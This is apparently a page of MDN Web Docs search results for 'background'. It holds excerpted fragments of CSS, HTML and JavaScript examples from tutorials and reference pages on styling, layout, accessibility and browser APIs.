background-color: palegreen; transform: none; -webkit-transform: none; } transform: rotate(30deg); <div class="box2"> </div> .box2 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transf...
...orm-origin: 0 0; <div class="box3"> </div> .box3 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: 0 0; -webkit-transform-origin: 0 0; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: 100% 100%; <div class="box4"> </div> .box4 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: 100% 100%; -webkit-transform-origin: 100% 100%; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: rotate(30deg); transform-origin: -1em -3em; <div class="box5"> </div> .box5 { m...
...argin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform-origin: -1em -3em; -webkit-transform-origin: -1em -3em; transform: rotate(30deg); -webkit-transform: rotate(30deg); } transform: scale(1.7); <div class="box6"> </div> .box6 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); } transform: scale(1.7); transform-origin: 0 0; <div class="box7"> </div> .box7 { margin: 0.5em; width: 3em; height: 3em; border: solid 1px;
background-color: palegreen; transform: scale(1.7); -webkit-transform: scale(1.7); transform-origin: 0 0; -webkit-transform-origin...
...And 2 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
you can also read our discussion on the basics of responsive design, if you need some more
background information and basics.
... main css, which is quite weighty, so we'll go through it in parts: @media all and (max-width: 480px) { x-card:nth-child(1), x-card:nth-child(2), x-card:nth-child(3) { width: 100%; float: none; padding: 0; } button { margin-top: 0; border-radius: 0; } x-card:nth-child(1) video, x-card:nth-child(2) img { border-radius: 0px; border: none; padding: 0;
background-color: 0; } this first block resets a number of different things from the widescreen layouts that were't required for the mobile app.
... css
background images for css
background images this is a fairly easy problem to solve.
...And 2 more matches
SVG documentation index - SVG: Scalable Vector Graphics
67 enable-
background deprecated, svg, svg attribute the enable-
background attribute specifies how the accumulation of the
background image is managed.
... 146 opacity svg, svg attribute the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the
background behind the element is overlaid.
... 231 unicode-bidi svg, svg attribute the unicode-bidi attribute specifies how the accumulation of the
background image is managed.
...And 2 more matches
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadin
background, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., in
background: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadin
background parameter which allows you to choose whether to open the new tab in foreground or
background.
... parameters in
background if true the tab will be loaded in the
background, if false the tab will be the newly selected tab.
... and if null or not specified, this parameter will default to the browser.tabs.loadin
background preference.
Building a Theme - Archive of obsolete content
introduction this tutorial will take you through the steps required to build a very basic theme - one which updates the
background color of the toolbars in firefox.
... for this tutorial, we're going to update the
background color of the toolbars.
...search this file for the #navigator-toolbox selector, and add a
background: orange; rule to it.
...after it restarts this second time, you should see the
background color of the toolbars is displayed in orange now.
-ms-filter - Archive of obsolete content
<div id="filterfrom" style="position: absolute; width: 200px; height: 250px;
background-color: white; filter: revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 2...
...0px;
background: white; visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
... html <div class="gradient horizontal"></div> <div class="gradient vertical"></div> css html, body { overflow-x: hidden; max-width: 100vw; } .gradient { width: 100vw; height: 60px; height: 50vh; } .gradient.horizontal { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=1)';
background-image: linear-gradient(to right, #ffffff 0%, #000000 100%); } .gradient.vertical { -ms-filter: 'progid:dximagetransform.microsoft.gradient(startcolorstr="#ffffff", endcolorstr="#000000", gradienttype=0)';
background-image: linear-gradient(to bottom, #ffffff 0%, #000000 100%); } result specifications not part of any specification.
... initial value"" (the empty string)applies toall elementsinheritednocomputed valueas specifiedanimation typediscrete remarks the following table lists the most popular dx filters and their standards-based alternatives: dx filter standards-based alternative alpha opacity alphaimageloader <img> or
background-image and related properties gradient
background-image: linear-gradient() dropshadow text-shadow or box-shadow matrix transform, transform-origin in windows internet explorer 8, the -ms-filter attribute is an extension to css, and can be used as a synonym for filter in ie8 standards mode.
Index - MDN Web Docs Glossary: Definitions of Web-related terms
to represent a color through which the
background can be seen to some extent, a fourth channel is added to the color: the alpha channel.
... 240 jank beginner, codingscripting, glossary, performance, web performance jank refers to sluggishness in a user interface, usually caused by executing long tasks on the main thread, blocking rendering, or expending too much processor power on
background processes.
... 327 prefetch glossary, prefetch, reference, web performance prefetching is when content is downloaded in the
background, this is based on the assumption that the content will likely be requested, enabling the content to load instantly if and when the user requests it.
... 329 prerender glossary, prefetch, security, web performance, prerender with prerendering, the content is prefetched and then rendered in the
background by the browser as if the content had been rendered into an invisible separate tab.
CSS and JavaScript accessibility best practices - Learn web development
your text color should contrast well with your
background color.
... links hyperlinks — the way you get to new places on the web: <p>visit the <a href="https://www.mozilla.org">mozilla homepage</a>.</p> some very simple link styling is shown below: a { color: #ff0000; } a:hover, a:visited, a:focus { color: #a60000; text-decoration: none; } a:active { color: #000000;
background-color: #a60000; } the standard link conventions are underlined and a different color (default: blue) in their standard state, another color variation when the link has previously been visited (default: purple), and yet another color when the link is activated (default: red).
... color and color contrast when choosing a color scheme for your website, make sure that the text (foreground) color contrasts well with the
background color.
...there are a number of contrast checking tools online that you can enter your foreground and
background colors into, to check them.
Fundamental CSS comprehension - Learn web development
you need to: give the main card container a fixed width/height, solid
background color, border, and border-radius (rounded corners!), amongst other things.
... give the header a
background gradient that goes from darker to lighter, plus rounded corners that fit in with the rounded corners set on the main card container.
... give the footer a
background gradient that goes from lighter to darker, plus rounded corners that fit in with the rounded corners set on the main card container.
...also give it a
background color of semi-transparent black, resulting in a slightly darker shade that lets the
background red color shine through a bit too.
Images, media, and form elements - Learn web development
all of the <div> elements have a
background color and stretch to fill the row and column.
...try changing how this form looks by adjusting the borders, adding
background colors to the fields, and changing fonts and padding.
...you could create a form input with no borders and
background that is almost indistinguishable from the content around it, but this would make it very hard to recognise and fill in.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
The box model - Learn web development
any
background applied to your element will display behind the padding, and it is typically used to push the content away from the border.
...the navigation below is displayed in a row using flexbox and we have added padding to the <a> element as we want to be able to change the
background-color when the <a> is hovered.
... in the next lesson, we will take a look at how
backgrounds and borders can be used to make your plain boxes look more interesting.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model
backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
CSS building blocks - Learn web development
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
...
backgrounds and borders in this lesson we will take a look at some of the creative things you can do with css
backgrounds and borders.
... from adding gradients,
background images, and rounded corners,
backgrounds and borders are the answer to a lot of styling questions in css.
... a cool looking box here you'll get some practice in using
background and border styling to create an eye-catching box.
Legacy layout methods - Learn web development
layout and grid systems before css grid layout it may seem surprising to anyone coming from a design
background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...add the following rule to the bottom of your css: .col { float: left; margin-left: 20px; width: 60px;
background: rgb(255, 150, 150); } the top row of single columns will now lay out neatly as a grid.
... next, update the fourth css rule (with the .col selector) like so: .col { float: left; margin-left: 2.08333333%; width: 6.25%;
background: rgb(255, 150, 150); } now comes the slightly more laborious part — we need to update all our .col.span rules to use percentages rather than pixel widths.
...as a simple example of this, we can take the same example markup we used above and use the following css to style the wrapper, row, and col classes: body { width: 90%; max-width: 980px; margin: 0 auto; } .wrapper { padding-right: 2.08333333%; } .row { display: flex; } .col { margin-left: 2.08333333%; margin-bottom: 1em; width: 6.25%; flex: 1 1 auto;
background: rgb(255,150,150); } you can try making these replacements in your own example, or look at our flexbox-grid.html example code (see it running live also).
How can we design for all types of users? - Learn web development
dig deeper color contrast to keep your text readable, use a text color that contrasts well with the
background color.
... the w3c defines a good color mix with an algorithm that calculates luminosity ratio between foreground and
background.
... for instance, let's test the colors on this page and see how we fare in the colour contrast analyser: the luminosity contrast ratio between text and
background is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many visually-impaired people to read this page.
...they could most often be replaced by a
background image.
Client-side form validation - Learn web development
(required)</label> <input id="choose" name="i_like" required> <button>submit</button> </form> note the css that is included in the example file: input:invalid { border: 2px dashed red; } input:invalid:required {
background-image: linear-gradient(to right, pink, lightgreen); } input:valid { border: 2px solid black; } this css causes the input to have a red dashed border when it is invalid and a more subtle solid black border when valid.
... we also added a
background gradient when the input is required and invalid.
...nvalid: body { font: 1em sans-serif; width: 200px; padding: 0; margin : 0 auto; } p * { display: block; } input[type=email]{ -webkit-appearance: none; appearance: none; width: 100%; border: 1px solid #333; margin: 0; font-family: inherit; font-size: 90%; box-sizing: border-box; } /* this is our style for the invalid fields */ input:invalid{ border-color: #900;
background-color: #fdd; } input:focus:invalid { outline: none; } /* this is the style of our error messages */ .error { width : 100%; padding: 0; font-size: 80%; color: white;
background-color: #900; border-radius: 0 0 5px 5px; box-sizing: border-box; } .error.active { padding: 0.3em; } now lets look at the javascript that implements the custom error validation.
... body { font: 1em sans-serif; width: 200px; padding: 0; margin : 0 auto; } form { max-width: 200px; } p * { display: block; } input.mail { -webkit-appearance: none; width: 100%; border: 1px solid #333; margin: 0; font-family: inherit; font-size: 90%; box-sizing: border-box; } /* this is our style for the invalid fields */ input.invalid{ border-color: #900;
background-color: #fdd; } input:focus.invalid { outline: none; } /* this is the style of our error messages */ .error { width : 100%; padding: 0; font-size: 80%; color: white;
background-color: #900; border-radius: 0 0 5px 5px; box-sizing: border-box; } .error.active { padding: 0.3em; } the big changes are in the javascript code, which needs to do much more heavy lifting.
Image gallery - Learn web development
</div> the example looks like this: the most interesting parts of the example's css file: it absolutely positions the three elements inside the full-img <div> — the <img> in which the full-sized image is displayed, an empty <div> that is sized to be the same size as the <img> and put right over the top of it (this is used to apply a darkening effect to the image via a semi-transparent
background color), and a <button> that is used to control the darkening effect.
... if the class name is "dark", changes the <button> class to "light" (using setattribute()), its text content to "lighten", and the
background-color of the overlay <div> to "rgba(0,0,0,0.5)".
... if the class name not "dark", changes the <button> class to "dark", its text content back to "darken", and the
background-color of the overlay <div> to "rgba(0,0,0,0)".
... btn.setattribute('class', xxx); btn.textcontent = xxx; overlay.style.
backgroundcolor = xxx; hints and tips you don't need to edit the html or css in any way.
Aprender y obtener ayuda - Learn web development
some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "learn the css box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the css
background property"?) mdn web docs is very good for both types — the area you are currently in is great for learning techniques and concepts, and we also have several giant reference sections allowing you to look up any syntax you can't remember.
... if you want to find out more about a specific technology feature, such as the html <video> element, or the css
background-color or opacity properties, or the javascript date.settime() method, you should just search for the feature's name.
... run code after several promises are fulfilled play a video stream from a webcam in the browser create a linear gradient in the
background of your element error messages if you are having a problem with some code and a specific error message is coming up, it is often a good idea to just copy the error message into your search engine and use it as the search term.
...to search on mdn, you can either use the site's in-built search functionality or better still, use your favorite search engine and put "mdn" in front of the search term, for example, "mdn responsive web design" or "mdn
background-color".
Lightweight themes
lightweight themes are sometimes referred to as "
background themes" or, (on addons.mozilla.org) as just "themes".
... how to create your own lightweight theme lightweight themes are made up of a "header" graphic image file, which skins the default firefox ui
background.
... creating a theme header image the header image is displayed as the
background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... select text and tab colors — you can choose the tab ("
background") color and foreground text color that work best with your header image.
mozbrowserloadend
detail the detail property returns an anonymous javascript object with the following properties:
backgroundcolor a domstring representing the main
background color of the browser <iframe> content, expressed as an rgb value.
...in addition, the
background of the controls ui bar is changed to the
background color of the site that has just loaded, to provide a more integrated experience.
... when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.
backgroundcolor value reported is rgb(0, 83, 159).
... var browser = document.queryselector("iframe"); browser.addeventlistener('mozbrowserloadend',function(e) { stopreload.textcontent = 'r'; console.log(e.detail.
backgroundcolor); controls.style.
background = e.detail.
backgroundcolor; }); browser.addeventlistener('mozbrowserloadend',function() { stopreload.textcontent = 'r'; }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
Creating localizable web applications
in general though, we should consider implementing such decorations as css images (
background-image or ::after's/::before's content) and then select them with "html[dir="rtl"] > ...".
...good: css: div.tut_didyouknow {
background: url(/static/img/question-64.png) no-repeat 0 0; padding-left: 64px; } html[dir='rtl'] div.tut_didyouknow {
background-image: url(/static/img/question-64.png);
background-position: 100% 0; padding-left: 0; padding-right: 64px; } html/php: <div class="tut_didyouknow"> <?printf (_("did you know you can test a persona before you submit it?
...good: css: .button { font-weight: bold; color: #0077a6; font-family: arial, sans-serif; border: none;
background: none; cursor: pointer; overflow: visible; width: auto; height: 30px; text-decoration: none; vertical-align: middle; } .button span {
background: #fff url(../img/main-sprites.png) no-repeat scroll -384px 1px; display:inline; line-height: 25px; padding: 6px 6px 6px 10px; } .button .arrow {
background: transparent url(../img/main-sprites.png) no-repeat ...
...scroll -651px 1px; padding: 6px 15px; } html[dir='rtl'] .button .arrow { /* flip the arrow to point to the left*/
background: transparent url(../img/main-sprites.png) no-repeat scroll -601px 1px; } html/php: <button type="submit" class="button"><span><?= _('get started'); ?></span><span class="arrow"></span></button> don't put captions in the images image 1.
Mozilla Quirks Mode Behavior
(bug 915053) an empty string for the
background attribute sets the
background url to empty only in quirks mode.
... tables td, th, tr, thead, tbody, and tfoot elements have the document
background (and color?) applied to them (when the document
background is specified in certain ways?) (see also bug 70831).
... in quirks mode, when tables have a border style of inset or outset, the border color is based on the
background color of the table or of the nearest ancestor with non-transparent
background.
...[see nstableframe::getdeflationfor
background and figure out what really differs, and when it started differing.] gecko had bug 248239, where table cells acted as they had box-sizing:border-box applied for the purpose of the height property.
Scroll-linked effects
<body style="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px;
background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div.
...one way to implement this without the scroll event listener is to use the css property designed for this purpose: <body style="height: 5000px"> <div id="toolbar" style="position: sticky; top: 0px; margin-top: 100px; width: 100px; height: 20px;
background-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls.
...imeout(snap, 20, destination); } } var timeoutid = null; addeventlistener("scroll", function() { if (timeoutid) cleartimeout(timeoutid); timeoutid = settimeout(snap, 200, parseint(document.getelementbyid('snaptarget').style.top)); }, true); </script> <div id="snaptarget" class="snaptarget" style="position: relative; top: 200px; width: 100%; height: 200px;
background-color: green"></div> </body> in this example, there is a scroll event listener which detects if the scroll position is within 200 pixels of the top of the "snaptarget" div.
... <body style="height: 5000px"> <style> body, /* blink currently has bug that requires declaration on `body` */ html { scroll-snap-type: y proximity; } .snaptarget { scroll-snap-align: start; position: relative; top: 200px; height: 200px;
background-color: green; } </style> <div class="snaptarget"></div> </body> this version can work smoothly in the browser even if there is slow-running javascript on the browser's main thread.
nsIApplicationUpdateService
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that handles performing
background update checks.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void adddownloadlistener(in nsirequestobserver listener); astring downloadupdate(in nsiupdate update, in boolean
background); void pausedownload(); void removedownloadlistener(in nsirequestobserver listener); nsiupdate selectupdate([array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); attributes attribute type description
backgroundchecker nsiupdatechecker the update checker being used for
background update checking.
... astring downloadupdate( in nsiupdate update, in boolean
background ); parameters update an nsiupdate object indicating the update to download.
...
background true to download the update in the
background or false to download it in the foreground.
nsIUpdatePrompt
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean
background); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
...if
background is true (for example the download was not user initiated) and the app.update.silent preference is true the call will be a no-op.
... void showupdatedownloaded( in nsiupdate update, in boolean
background optional ); parameters update an nsiupdate describing the update that was downloaded.
...
background optional an optional parameter that, if provided and true, presents a less-obtrusive, non-modal notification alert.
Drawing and Event Handling - Plugins
this way, the plug-in can draw an irregularly shaped area, such as a figure, or text over the existing
background.
...because the browser does not need to draw the
background behind the plug-in, opaque windowless plug-ins are considerably more efficient than transparent plug-ins.
...here are two examples of plug-ins that have transparent areas: a plug-in that is smaller than the area specified by the enclosing object or embed element a plug-in with nonrectangular boundaries the browser is responsible for rendering the
background of a transparent windowless plug-in.
... before generating a paint message for the plug-in, the browser makes sure that the
background is already drawn into the area to be updated.
CSSStyleDeclaration.setProperty() - Web APIs
if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border,
background color, and text color to random values (see the live example at the end of this section).
...in each case, this is done with the setproperty() method, for example boxpararule.style.setproperty('border', newborder); html <div class="controls"> <button class="border">border</button> <button class="bgcolor">
background</button> <button class="color">text</button> </div> <div class="box"> <p>box</p> </div> css html {
background: orange; font-family: sans-serif; height: 100%; } body { height: inherit; width: 80%; min-width: 500px; max-width: 1000px; margin: 0 auto; } .controls { display: flex; justify-content: space-around; align-items: center; } div button { flex: 1; margin: 20...
...px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px;
background: red; border: 5px solid purple; color: white; transition: all 1s; } javascript const borderbtn = document.queryselector('.border'); const bgcolorbtn = document.queryselector('.bgcolor'); const colorbtn = document.queryselector('.color'); const box = document.queryselector('.box'); function random(min,max) { const num = math.floor(math.random()*(max-min)) + min; return num; } function randomcolor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + random(0,255) + ')'; } const stylesheet ...
...= 0; i < stylesheet.cssrules.length; i++) { if(stylesheet.cssrules[i].selectortext === '.box p') { boxpararule = stylesheet.cssrules[i]; } } function setrandomborder() { const newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border', newborder); } function setrandombgcolor() { const newbgcolor = randomcolor(); boxpararule.style.setproperty('
background-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css object m...
Optimizing canvas - Web APIs
for example, let's say you have a game with a ui on top, the gameplay action in the middle, and a static
background on the bottom.
...the ui would change only upon user input, the gameplay layer would change with every new frame, and the
background would remain generally unchanged.
... <div id="stage"> <canvas id="ui-layer" width="480" height="320"></canvas> <canvas id="game-layer" width="480" height="320"></canvas> <canvas id="
background-layer" width="480" height="320"></canvas> </div> <style> #stage { width: 480px; height: 320px; position: relative; border: 2px solid black; } canvas { position: absolute; } #ui-layer { z-index: 3; } #game-layer { z-index: 2; } #
background-layer { z-index: 1; } </style> use plain css for large
background images if you have a static
background image, you can draw it onto a plain <div> element using the css
background property and position it under the canvas.
... this will negate the need to render the
background to the canvas on every tick.
Document.execCommand() - Web APIs
commands backcolor changes the document
background color.
... in stylewithcss mode, it affects the
background color of the containing block instead.
...note that internet explorer uses this to set the text
background color.
...(not supported by internet explorer and safari.) hilitecolor changes the
background color for the selection or at the insertion point.
Using the MediaStream Recording API - Web APIs
instead, the problem was solved by making the third container's height equal to 100% of the parent height, minus the heights and padding of the other two: .sound-clips { box-shadow: inset 0 3px 4px rgba(0,0,0,0.7);
background-color: rgba(0,0,0,0.1); height: calc(100% - 240px - 0.7rem); overflow: scroll; } note: calc() has good support across modern browsers too, even going back to internet explorer 9.
...w we want it, give it fixed position so that it doesn't appear in the layout flow and affect the main ui, transform it to the position we want it to sit in by default, and give it a transition for smooth showing/hiding: aside { position: fixed; top: 0; left: 0; text-shadow: 1px 1px 1px black; width: 100%; height: 100%; transform: translatex(100%); transition: 0.6s all;
background-color: #999;
background-image: linear-gradient(to top right, rgba(0,0,0,0), rgba(0,0,0,0.5)); } last, we write a rule to say that when the checkbox is checked (when we click/focus the label), the adjacent <aside> element will have its horizontal translation value changed and transition smoothly into view: input[type=checkbox]:checked ~ aside { transform: translatex(0); } basic app setup ...
...first of all, mediarecorder.start() is used to start recording the stream once the record button is pressed: record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.
background = "red"; record.style.color = "black"; } when the mediarecorder is recording, the mediarecorder.state property will return a value of "recording".
... stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.
background = ""; record.style.color = ""; } note that the recording may also stop naturally if the media stream ends (e.g.
Using Web Workers - Web APIs
web workers are a simple means for web content to run scripts in
background threads.
... performing computations in the
background workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread.
... performing web i/o in the
background you can find an example of this in the article using workers in extensions .
...they will also allow access to push notifications and
background sync apis.
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of
background colors and images in browsers based on the webkit engine.
...
background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog.
... exact
background colors and images of the element to which this rule is applied are always printed, user's print settings are overridden.
... examples forcing white-on-black printing article { -webkit-print-color-adjust: exact;
background: #222; color: #eee; } specifications not part of any standard, though there is a proposal in the csswg wiki to standardize it.
::selection - CSS: Cascading Style Sheets
::selection {
background-color: cyan; } allowable properties only certain css properties can be used with ::selection: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow in particular,
background-image is ignored.
...<p>also try selecting text in this paragraph.</p> css ::-moz-selection { color: gold;
background-color: red; } p::-moz-selection { color: white;
background-color: blue; } /* make selected text gold on a red
background */ ::selection { color: gold;
background-color: red; } /* make selected text in a paragraph white on a blue
background */ p::selection { color: white;
background-color: blue; } result accessibility concerns don't override selected text styles for purely aesthetic reasons — users can customize them to suit their needs.
... if overridden, it is important to ensure that the contrast ratio between the text and
background colors of the selection is high enough that people experiencing low vision conditions can read it.
... color contrast ratio is found by comparing the luminosity of the selected text and the selected text
background colors.
-ms-high-contrast - CSS: Cascading Style Sheets
high contrast mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreground and
background colors with a user-specified theme.
... @media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div {
background-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div {
background-image: url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors.
... highlight: controls the
background color of selected text.
... window: controls the color of the
background.
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
css determines the size, position, and properties (color,
background, border size, etc.) of these boxes.
...it often has a
background color or
background image.
...when there is a
background (
background-color or
background-image) set on a box, it extends to the outer edge of the border (i.e.
...this default behavior can be altered with the
background-clip css property.
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
the float no longer applies, and i can use the css box alignment property align-self to align my content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div cla...
...to create gaps between the cards, i use a margin on the items, and then a negative margin on the container: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } ...
...the layout now works, even if there is more content in one of the cards, than the others: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } ...
...i have used the vertical-align property on my item when in the inline-block display mode, but this property does not apply to grid items and, therefore, is ignored once the item becomes a grid item: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { display: inline-block; vertical-align: top; width: calc(33.333333% - 20px); margin: 0 10p...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using
background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... implementation suppose an image is given to every item with class toolbtn: .toolbtn {
background: url(myfile.png); display: inline-block; height: 20px; width: 20px; } a
background position can be added either as two x, y values after the url()() in the
background, or as
background-position.
... for example: #btn1 {
background-position: -20px 0px; } #btn2 {
background-position: -40px 0px; } this would move the element with the id 'btn1' 20 pixels to the left and the element with the id 'btn2' 40 pixels to the left (assuming they have the class toolbtn assigned and are affected by the image rule above).
... similarly, you can also make hover states with: #btn:hover {
background-position: <pixels shifted right>px <pixels shifted down>px; } ...
Stacking with floated blocks - CSS: Cascading Style Sheets
floating blocks are placed between non-positioned blocks and positioned blocks: the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant positioned elements, in order of appearance in the html actually, as you can see in the example below, the
background and border of the non-positioned block (div #4) is completely unaffected by floating blocks, but the content is affected.
...this behavior can be shown with an added rule to the above list: the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the
background and border of that block pops up above the floating blocks and the positioned blocks.
... <div id="flo2"> <b>div #3</b><br />float: right;</div> <br /> <div id="sta1"> <b>div #4</b><br />no positioning</div> <div id="abs2"> <b>div #5</b><br />position: absolute;</div> css div { padding: 10px; text-align: center; } b { font-family: sans-serif; } #abs1 { position: absolute; width: 150px; height: 200px; top: 10px; right: 140px; border: 1px dashed #900;
background-color: #fdd; } #sta1 { height: 100px; border: 1px dashed #996;
background-color: #ffc; margin: 0px 10px 0px 10px; text-align: left; } #flo1 { margin: 0px 10px 0px 20px; float: left; width: 150px; height: 200px; border: 1px dashed #090;
background-color: #cfc; } #flo2 { margin: 0px 20px 0px 10px; float: right; width: 150px; height: 200px; border: 1px dashed #090;...
...
background-color: #cfc; } #abs2 { position: absolute; width: 150px; height: 100px; top: 130px; left: 100px; border: 1px dashed #990;
background-color: #fdd; } ...
Using CSS transforms - CSS: Cascading Style Sheets
.cube { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); t...
...ransform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td {
background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result the second element to configure is the position of the viewer, with the perspective-origin property.
